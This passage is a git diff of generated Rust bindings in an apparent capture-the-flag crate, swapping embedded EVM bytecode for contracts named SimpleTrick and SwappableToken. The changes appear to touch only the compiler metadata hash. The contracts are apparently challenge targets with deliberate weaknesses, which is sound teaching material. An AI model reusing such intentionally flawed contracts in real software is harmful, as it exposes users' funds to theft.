\x82\x84\x03\x12\x15a\0jW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x81W`\0\x80\xFD[\x93\x92PPPV[a\x01\xD9\x80a\0\x97`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x1E\xAC\x13)\x06\x0B\x9D\xCB\xACw\xB0Fb\xA1\x7F\xD7\xFE)#\xD2\x97J\xC6\xC1^&\t\xDBB\xDD\x88~dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@RB`\x02U4\x80\x15a\0\x14W`\0\x80\xFD[P`@Qa\x02p8\x03\x80a\x02p\x839\x81\x01`@\x81\x90Ra\x003\x91a\0XV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x88V[`\0` \x82\x84\x03\x12\x15a\0jW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x81W`\0\x80\xFD[\x93\x92PPPV[a\x01\xD9\x80a\0\x97`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 J\x83\xB4\xCB\xBC\xE1\xD5>\xA1Wz\xD5H\xF3\xB8\xF1\x91*<\xDBgP\xA3W\xDFn\xA8\x14|1\xCC\xB3dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static SIMPLETRICK_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x1E\xAC\x13)\x06\x0B\x9D\xCB\xACw\xB0Fb\xA1\x7F\xD7\xFE)#\xD2\x97J\xC6\xC1^&\t\xDBB\xDD\x88~dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 J\x83\xB4\xCB\xBC\xE1\xD5>\xA1Wz\xD5H\xF3\xB8\xF1\x91*<\xDBgP\xA3W\xDFn\xA8\x14|1\xCC\xB3dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static SIMPLETRICK_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/swappable_token.rs b/ctf/src/abi/swappable_token.rs index 1821f37..4a046f5 100644 --- a/ctf/src/abi/swappable_token.rs +++ b/ctf/src/abi/swappable_token.rs @@ -487,12 +487,12 @@ pub mod swappable_token { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\r\x188\x03\x80b\0\r\x18\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x02\"V[\x82\x82`\x03b\0\0D\x83\x82b\0\x03BV[P`\x04b\0\0S\x82\x82b\0\x03BV[PPPb\0\0h3\x82b\0\0\x92` \x1B` \x1CV[PP`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x93\x90\x93\x16\x92\x90\x92\x17\x90\x91UPb\0\x046V[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\0\xEDW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\x01\x91\x90b\0\x04\x0EV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0\x82`\x1F\x83\x01\x12b\0\x01\x85W`\0\x80\xFD[\x81Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x01\xA2Wb\0\x01\xA2b\0\x01]V[`@Q`\x1F\x83\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x82\x82\x11\x81\x83\x10\x17\x15b\0\x01\xCDWb\0\x01\xCDb\0\x01]V[\x81`@R\x83\x81R` \x92P\x86\x83\x85\x88\x01\x01\x11\x15b\0\x01\xEAW`\0\x80\xFD[`\0\x91P[\x83\x82\x10\x15b\0\x02\x0EW\x85\x82\x01\x83\x01Q\x81\x83\x01\x84\x01R\x90\x82\x01\x90b\0\x01\xEFV[`\0\x93\x81\x01\x90\x92\x01\x92\x90\x92R\x94\x93PPPPV[`\0\x80`\0\x80`\x80\x85\x87\x03\x12\x15b\0\x029W`\0\x80\xFD[\x84Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02QW`\0\x80\xFD[` \x86\x01Q\x90\x94P`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x02oW`\0\x80\xFD[b\0\x02}\x88\x83\x89\x01b\0\x01sV[\x94P`@\x87\x01Q\x91P\x80\x82\x11\x15b\0\x02\x94W`\0\x80\xFD[Pb\0\x02\xA3\x87\x82\x88\x01b\0\x01sV[``\x96\x90\x96\x01Q\x94\x97\x93\x96PPPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\xC9W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xEAWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01XW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x03\x19WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03:W\x82\x81U`\x01\x01b\0\x03%V[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03^Wb\0\x03^b\0\x01]V[b\0\x03v\x81b\0\x03o\x84Tb\0\x02\xB4V[\x84b\0\x02\xF0V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03\xAEW`\0\x84\x15b\0\x03\x95WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03:V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xDFW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\xBEV[P\x85\x82\x10\x15b\0\x03\xFEW\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[\x80\x82\x01\x80\x82\x11\x15b\0\x040WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[a\x08\xD2\x80b\0\x04F`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xB6W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05rV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07IW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07-V[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x81W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\x99W`\0\x80\xFD[a\x07\xA2\x83a\x07jV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x07\xC5W`\0\x80\xFD[a\x07\xCE\x84a\x07jV[\x92Pa\x07\xDC` \x85\x01a\x07jV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x07\xFEW`\0\x80\xFD[a\x08\x07\x82a\x07jV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08!W`\0\x80\xFD[a\x08*\x83a\x07jV[\x91Pa\x088` \x84\x01a\x07jV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08UW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08uWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02fWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \xCC\xF6k\xCA\x95\x03\x99fQ~\xA2\xFE$r\x12N\xE1\x12\xD6cXGdp\xBC\x96\x85\x90\xD2\xA6b\x93dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\r\x188\x03\x80b\0\r\x18\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x02\"V[\x82\x82`\x03b\0\0D\x83\x82b\0\x03BV[P`\x04b\0\0S\x82\x82b\0\x03BV[PPPb\0\0h3\x82b\0\0\x92` \x1B` \x1CV[PP`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x93\x90\x93\x16\x92\x90\x92\x17\x90\x91UPb\0\x046V[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\0\xEDW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\x01\x91\x90b\0\x04\x0EV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\0\x82`\x1F\x83\x01\x12b\0\x01\x85W`\0\x80\xFD[\x81Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x01\xA2Wb\0\x01\xA2b\0\x01]V[`@Q`\x1F\x83\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x82\x82\x11\x81\x83\x10\x17\x15b\0\x01\xCDWb\0\x01\xCDb\0\x01]V[\x81`@R\x83\x81R` \x92P\x86\x83\x85\x88\x01\x01\x11\x15b\0\x01\xEAW`\0\x80\xFD[`\0\x91P[\x83\x82\x10\x15b\0\x02\x0EW\x85\x82\x01\x83\x01Q\x81\x83\x01\x84\x01R\x90\x82\x01\x90b\0\x01\xEFV[`\0\x93\x81\x01\x90\x92\x01\x92\x90\x92R\x94\x93PPPPV[`\0\x80`\0\x80`\x80\x85\x87\x03\x12\x15b\0\x029W`\0\x80\xFD[\x84Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02QW`\0\x80\xFD[` \x86\x01Q\x90\x94P`\x01`\x01`@\x1B\x03\x80\x82\x11\x15b\0\x02oW`\0\x80\xFD[b\0\x02}\x88\x83\x89\x01b\0\x01sV[\x94P`@\x87\x01Q\x91P\x80\x82\x11\x15b\0\x02\x94W`\0\x80\xFD[Pb\0\x02\xA3\x87\x82\x88\x01b\0\x01sV[``\x96\x90\x96\x01Q\x94\x97\x93\x96PPPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\xC9W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xEAWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01XW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x03\x19WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03:W\x82\x81U`\x01\x01b\0\x03%V[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03^Wb\0\x03^b\0\x01]V[b\0\x03v\x81b\0\x03o\x84Tb\0\x02\xB4V[\x84b\0\x02\xF0V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03\xAEW`\0\x84\x15b\0\x03\x95WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03:V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xDFW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\xBEV[P\x85\x82\x10\x15b\0\x03\xFEW\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[\x80\x82\x01\x80\x82\x11\x15b\0\x040WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[a\x08\xD2\x80b\0\x04F`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xB4W`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0qW\x80cp\xA0\x821\x14a\x01AW\x80c\x95\xD8\x9BA\x14a\x01jW\x80c\xA4W\xC2\xD7\x14a\x01rW\x80c\xA9\x05\x9C\xBB\x14a\x01\x85W\x80c\xDDb\xED>\x14a\x01\x98W\x80c\xE1\xF2\x1Cg\x14a\x01\xABW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xB9W\x80c\t^\xA7\xB3\x14a\0\xD7W\x80c\x18\x16\r\xDD\x14a\0\xFAW\x80c#\xB8r\xDD\x14a\x01\x0CW\x80c1<\xE5g\x14a\x01\x1FW\x80c9P\x93Q\x14a\x01.W[`\0\x80\xFD[a\0\xC1a\x01\xC0V[`@Qa\0\xCE\x91\x90a\x07\x1CV[`@Q\x80\x91\x03\x90\xF3[a\0\xEAa\0\xE56`\x04a\x07\x86V[a\x02RV[`@Q\x90\x15\x15\x81R` \x01a\0\xCEV[`\x02T[`@Q\x90\x81R` \x01a\0\xCEV[a\0\xEAa\x01\x1A6`\x04a\x07\xB0V[a\x02lV[`@Q`\x12\x81R` \x01a\0\xCEV[a\0\xEAa\x01<6`\x04a\x07\x86V[a\x02\x90V[a\0\xFEa\x01O6`\x04a\x07\xECV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xC1a\x02\xB2V[a\0\xEAa\x01\x806`\x04a\x07\x86V[a\x02\xC1V[a\0\xEAa\x01\x936`\x04a\x07\x86V[a\x03AV[a\0\xFEa\x01\xA66`\x04a\x08\x0EV[a\x03OV[a\x01\xBEa\x01\xB96`\x04a\x07\xB0V[a\x03zV[\0[```\x03\x80Ta\x01\xCF\x90a\x08AV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01\xFB\x90a\x08AV[\x80\x15a\x02HW\x80`\x1F\x10a\x02\x1DWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02HV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02+W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02`\x81\x85\x85a\x03\xDAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02z\x85\x82\x85a\x04\xFEV[a\x02\x85\x85\x85\x85a\x05xV[P`\x01\x94\x93PPPPV[`\x003a\x02`\x81\x85\x85a\x02\xA3\x83\x83a\x03OV[a\x02\xAD\x91\x90a\x08{V[a\x03\xDAV[```\x04\x80Ta\x01\xCF\x90a\x08AV[`\x003\x81a\x02\xCF\x82\x86a\x03OV[\x90P\x83\x81\x10\x15a\x034W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\x85\x82\x86\x86\x84\x03a\x03\xDAV[`\x003a\x02`\x81\x85\x85a\x05xV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x05T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x84\x16\x03a\x03\xCAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0F`$\x82\x01Rn$\xB7;0\xB64\xB2 \xB8897\xBB2\xB9`\x89\x1B`D\x82\x01R`d\x01a\x03+V[a\x03\xD5\x83\x83\x83a\x03\xDAV[PPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03+V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 